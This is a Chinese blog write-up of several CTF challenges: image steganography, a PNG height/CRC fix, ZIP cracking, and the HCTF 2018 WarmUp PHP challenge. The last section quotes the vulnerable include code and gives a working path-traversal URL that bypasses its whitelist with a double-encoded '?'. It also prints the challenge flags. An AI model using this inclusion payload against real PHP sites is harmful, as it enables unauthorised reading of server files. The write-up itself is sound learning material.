今天是第二天,我们现在开始各种题都做一下
BasicCryptoMiscWeb通杀


你竟然赶我走

解压打开,发现是一张表情包

直接老套路,StegSlove走一波
一打开Format,哦豁~

整理一下,这题的答案就是
flag{stego_is_s0_bor1ing}

好的,下一题😎

大白

解压打开一看,只有半张图片了

那我们要想办法恢复他原来的图片咯
老套路走一波,先看一下二进制码有没有被修改
一打开010editor,哦豁~

CRC校验有问题
结合题目,我们改一下高度

保存退出我们就能看到完整的大白了

所以,flag{He1l0_d4_ba1}

基础破解

OK,又到了爷最喜欢的破解题

直接AHCHPR走一波
好了,他已经没有了

打开压缩包,哎,还有?

好的,base64走一波

这次的答案就是这个
flag{70354300a5100ba78068805661b93a5c}

乌镇峰会种图

直接下载下来的就是一张图片?

老套路,大家都懂

就这,就这?flag{97314e7864a8f62627b26f3f998c37f1}

那我们要向高难度挑战,我要做Web题

[HCTF 2018]WarmUp 【WEB】

说时迟那时快
我已经打开靶机了

然后进入靶机,我们只剩下滑稽🤪

既然是代码审计,直接打开F12

往网址加入被隐藏的source.php
之后我们就可以看到代码了

然后我们再次跳转到hint.php

没有flag,我们重新回去审计代码

1
2
3
4
5
6
7
8
9
10
if (! empty($_REQUEST['file'])          //$_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验
) {
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
//打印滑稽表情
}

这段代码告诉们需要满足三个条件

  1. 值为非空
  2. 值为字符串
  3. 能够通过checkFile()函数校验

否则打印滑稽🤪

查看上面那段的判断函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
highlight_file(__FILE__); //打印代码
class emmm //定义emmm
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}

if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true
}

$_page = mb_substr(//该代码表示截取$page'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

我们会发现里面含有四个if判断语句

  1. 第一个 if 语句对变量进行检验,要求$page为字符串,否则返回false
  2. 第二个 if 语句判断$page是否存在于$whitelist数组中,存在则返回true
  3. 第三个 if 语句判断截取后的$page是否存在于$whitelist数组中,截取$page'?'前部分,存在则返回true
  4. 第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true

若以上四个 if 语句均未返回值,则返回false
有三个 if 语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个 if 语句中,先进行 url 解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'
构造url:

1
http://<domain>:<port>/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

最后得到我们的flag{a67df2fc-6608-4e8a-93dc-e7b328136308}

结语

Emmm,看来是我太狂了,最后一题做到头皮发麻。
代码能力还是要继续加强了。